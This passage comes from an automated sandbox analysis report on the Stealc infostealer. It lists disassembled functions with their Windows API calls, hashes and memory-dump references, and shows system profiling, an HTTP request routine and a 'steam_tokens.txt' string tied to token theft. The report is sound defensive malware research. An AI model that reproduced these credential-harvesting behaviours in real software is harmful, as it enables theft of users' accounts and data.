Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 658da6c4d6e057e78806fc43975a157e806e6d905a557ed35503d0d3176ddb98
Instruction ID: 194d91e7e95756fc04db195895eb024eccf5e7e49ca5fd4ec4a29b632f22944a
Opcode Fuzzy Hash: 658da6c4d6e057e78806fc43975a157e806e6d905a557ed35503d0d3176ddb98
Instruction Fuzzy Hash: 56113070940108BBEB54FFA0DD52AED733AAF50300F40415CF80B5B192EF30AB06CA96

Function 00645050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00648DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00648E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0064508A
lstrcatA.KERNEL32(?,00F70038), ref: 006450A8

Part of subcall function 00644910: wsprintfA.USER32 ref: 0064492C
Part of subcall function 00644910: FindFirstFileA.KERNEL32(?,?), ref: 00644943

Strings

ad, xrefs: 006450CF, 006450F4, 006450D2

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: ad
API String ID: 2699682494-3523767099
Opcode ID: a9987db621d2f8fbd5949ab8ef02d75ff17c3c83cb067e3e2b1487d0e3cbb81f
Instruction ID: a0549c5e4dbc3efa1ff0735406eb13929b49f966f11ebe8b937de7f11bd54578
Opcode Fuzzy Hash: a9987db621d2f8fbd5949ab8ef02d75ff17c3c83cb067e3e2b1487d0e3cbb81f
Instruction Fuzzy Hash: BD0188B6900208ABD794FBA0DC46EEE733DBB54300F004558B65A57195EE70DAC88BE6

Function 006478E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00646A2B), ref: 00647910
HeapAlloc.KERNEL32(00000000,?,?,?,00646A2B), ref: 00647917
GetComputerNameA.KERNEL32(?,00000104), ref: 0064792F

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 146b9d1de7a662fac774fffb2466d1f246fb8f30d0ca147b4ac50b2ed45349e4
Instruction ID: 26f6423adcf6c13931ab103fc01a025f39d1406d7a446d085441aba92105c059
Opcode Fuzzy Hash: 146b9d1de7a662fac774fffb2466d1f246fb8f30d0ca147b4ac50b2ed45349e4
Instruction Fuzzy Hash: E601A9B1A04204EFC704DF94DD49BAEBBB8F744B11F104269F955E3380D37559448BA2

Function 6C523060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C523095

Part of subcall function 6C5235A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AF688,00001000), ref: 6C5235D5
Part of subcall function 6C5235A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5235E0
Part of subcall function 6C5235A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5235FD
Part of subcall function 6C5235A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C52363F
Part of subcall function 6C5235A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C52369F
Part of subcall function 6C5235A0: __aulldiv.LIBCMT ref: 6C5236E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C52309F

Part of subcall function 6C545B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5456EE,?,00000001), ref: 6C545B85
Part of subcall function 6C545B50: EnterCriticalSection.KERNEL32(6C5AF688,?,?,?,6C5456EE,?,00000001), ref: 6C545B90
Part of subcall function 6C545B50: LeaveCriticalSection.KERNEL32(6C5AF688,?,?,?,6C5456EE,?,00000001), ref: 6C545BD8
Part of subcall function 6C545B50: GetTickCount64.KERNEL32 ref: 6C545BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5230BE

Part of subcall function 6C5230F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C523127
Part of subcall function 6C5230F0: __aulldiv.LIBCMT ref: 6C523140

Part of subcall function 6C55AB2A: __onexit.LIBCMT ref: 6C55AB30

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 2506e6b3b361a8619a6031d896f415e438fb1b520cc10d0ab109b538b3e38023
Instruction ID: 88418650f6fe4ee7cf8accd4c78558447819685de120fe256414ef4a92844b08
Opcode Fuzzy Hash: 2506e6b3b361a8619a6031d896f415e438fb1b520cc10d0ab109b538b3e38023
Instruction Fuzzy Hash: 6DF04932E20748D2CB10DFB5AC411EEB3B4AFAB214F52131AE85523571FB3066D883C9

Function 00649470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00649484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 006494A5
CloseHandle.KERNEL32(00000000), ref: 006494AF

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 308c8f1b46dfee75286f711c9b5262d26e2accea5c7c16f9c78ef7038b595ced
Instruction ID: 3602440f0522064cb253b215ed85c4ae282dd035a1dabf7e5d50b65eef617a1a
Opcode Fuzzy Hash: 308c8f1b46dfee75286f711c9b5262d26e2accea5c7c16f9c78ef7038b595ced
Instruction Fuzzy Hash: 53F03A7494020CFBDB18DFA4DC4AFEE77B8FB48301F004498BA1997290D6B0AAC5CB91

Function 00631110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00646A1C), ref: 0063112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00646A1C), ref: 00631132
ExitProcess.KERNEL32 ref: 00631143

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 8bf967c960280b3cb5e82ee4dce58125627cddd10621414ba9ae34fea34e7d66
Instruction ID: e2d0fd1d63822dedb263ec93f2cb139557207337dda9a7ea30426b4e18d0f8cc
Opcode Fuzzy Hash: 8bf967c960280b3cb5e82ee4dce58125627cddd10621414ba9ae34fea34e7d66
Instruction Fuzzy Hash: CCE0867094930CFBE7146BA09C0EB4C7678BB44B02F100054F70C7A1C0CAB4664096DA

Function 00641A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Part of subcall function 00647500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00647542
Part of subcall function 00647500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0064757F
Part of subcall function 00647500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00647603
Part of subcall function 00647500: HeapAlloc.KERNEL32(00000000), ref: 0064760A

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

Part of subcall function 00647690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006476A4
Part of subcall function 00647690: HeapAlloc.KERNEL32(00000000), ref: 006476AB

Part of subcall function 006477C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0064DBC0,000000FF,?,00641C99,00000000,?,00F70B68,00000000,?), ref: 006477F2
Part of subcall function 006477C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0064DBC0,000000FF,?,00641C99,00000000,?,00F70B68,00000000,?), ref: 006477F9

Part of subcall function 00647850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006311B7), ref: 00647880
Part of subcall function 00647850: HeapAlloc.KERNEL32(00000000,?,?,?,006311B7), ref: 00647887
Part of subcall function 00647850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0064789F

Part of subcall function 006478E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00646A2B), ref: 00647910
Part of subcall function 006478E0: HeapAlloc.KERNEL32(00000000,?,?,?,00646A2B), ref: 00647917
Part of subcall function 006478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0064792F

Part of subcall function 00647980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00650E00,00000000,?), ref: 006479B0
Part of subcall function 00647980: HeapAlloc.KERNEL32(00000000,?,?,?,?,00650E00,00000000,?), ref: 006479B7
Part of subcall function 00647980: GetLocalTime.KERNEL32(?,?,?,?,?,00650E00,00000000,?), ref: 006479C4
Part of subcall function 00647980: wsprintfA.USER32 ref: 006479F3

Part of subcall function 00647A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00F70440,00000000,?,00650E10,00000000,?,00000000,00000000), ref: 00647A63
Part of subcall function 00647A30: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00F70440,00000000,?,00650E10,00000000,?,00000000,00000000,?), ref: 00647A6A
Part of subcall function 00647A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00F70440,00000000,?,00650E10,00000000,?,00000000,00000000,?), ref: 00647A7D

Part of subcall function 00647B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00F70440,00000000,?,00650E10,00000000,?,00000000,00000000), ref: 00647B35

Part of subcall function 00647B90: GetKeyboardLayoutList.USER32(00000000,00000000,006505AF), ref: 00647BE1
Part of subcall function 00647B90: LocalAlloc.KERNEL32(00000040,?), ref: 00647BF9
Part of subcall function 00647B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00647C0D
Part of subcall function 00647B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00647C62
Part of subcall function 00647B90: LocalFree.KERNEL32(00000000), ref: 00647D22

Part of subcall function 00647D80: GetSystemPowerStatus.KERNEL32(?), ref: 00647DAD

GetCurrentProcessId.KERNEL32(00000000,?,00F70D88,00000000,?,00650E24,00000000,?,00000000,00000000,?,00F70590,00000000,?,00650E20,00000000), ref: 0064207E

Part of subcall function 00649470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00649484
Part of subcall function 00649470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 006494A5
Part of subcall function 00649470: CloseHandle.KERNEL32(00000000), ref: 006494AF

Part of subcall function 00647E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00647E37
Part of subcall function 00647E00: HeapAlloc.KERNEL32(00000000), ref: 00647E3E
Part of subcall function 00647E00: RegOpenKeyExA.KERNEL32(80000002,00F68D28,00000000,00020119,?), ref: 00647E5E
Part of subcall function 00647E00: RegQueryValueExA.KERNEL32(?,00F70C88,00000000,00000000,000000FF,000000FF), ref: 00647E7F
Part of subcall function 00647E00: RegCloseKey.ADVAPI32(?), ref: 00647E92

Part of subcall function 00647F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00647FC9
Part of subcall function 00647F60: GetLastError.KERNEL32 ref: 00647FD8

Part of subcall function 00647ED0: GetSystemInfo.KERNEL32(00650E2C), ref: 00647F00
Part of subcall function 00647ED0: wsprintfA.USER32 ref: 00647F16

Part of subcall function 00648100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00F70578,00000000,?,00650E2C,00000000,?,00000000), ref: 00648130
Part of subcall function 00648100: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00F70578,00000000,?,00650E2C,00000000,?,00000000,00000000), ref: 00648137
Part of subcall function 00648100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00648158
Part of subcall function 00648100: __aulldiv.LIBCMT ref: 00648172
Part of subcall function 00648100: __aulldiv.LIBCMT ref: 00648180
Part of subcall function 00648100: wsprintfA.USER32 ref: 006481AC

Part of subcall function 006487C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00650E28,00000000,?), ref: 0064882F
Part of subcall function 006487C0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00650E28,00000000,?), ref: 00648836
Part of subcall function 006487C0: wsprintfA.USER32 ref: 00648850

Part of subcall function 00648320: RegOpenKeyExA.KERNEL32(00000000,00F6DEA8,00000000,00020019,00000000,006505B6), ref: 006483A4

Part of subcall function 00648320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00648426
Part of subcall function 00648320: wsprintfA.USER32 ref: 00648459
Part of subcall function 00648320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0064847B
Part of subcall function 00648320: RegCloseKey.ADVAPI32(00000000), ref: 0064848C
Part of subcall function 00648320: RegCloseKey.ADVAPI32(00000000), ref: 00648499

Part of subcall function 00648680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006505B7), ref: 006486CA
Part of subcall function 00648680: Process32First.KERNEL32(?,00000128), ref: 006486DE
Part of subcall function 00648680: Process32Next.KERNEL32(?,00000128), ref: 006486F3
Part of subcall function 00648680: CloseHandle.KERNEL32(?), ref: 00648761

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0064265B

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 2204142833-0
Opcode ID: 7a84feebd7c711c890db7d4fb0d2caaaba458db65334a5815ac53e03fa2191d9
Instruction ID: 3aded7f7e19f482bdbdbdda6a552e5d3a0864efefce9336605664e1364261987
Opcode Fuzzy Hash: 7a84feebd7c711c890db7d4fb0d2caaaba458db65334a5815ac53e03fa2191d9
Instruction Fuzzy Hash: 08729D72C54018BEEB59FBD0DC92DEE733EAF14300F5142ADB51662091EF306B49CA69

Function 00645100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A820: lstrlenA.KERNEL32(00000000,?,?,00645B54,00650ADB,00650ADA,?,?,00646B16,00000000,?,00F61410,?,0065110C,?,00000000), ref: 0064A82B
Part of subcall function 0064A820: lstrcpy.KERNEL32(e,00000000), ref: 0064A885

lstrlenA.KERNEL32(00000000,00000000,00650ACA,?,?,?,?,?,?,0064610B,?), ref: 0064512A

Strings

steam_tokens.txt, xrefs: 0064513F

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
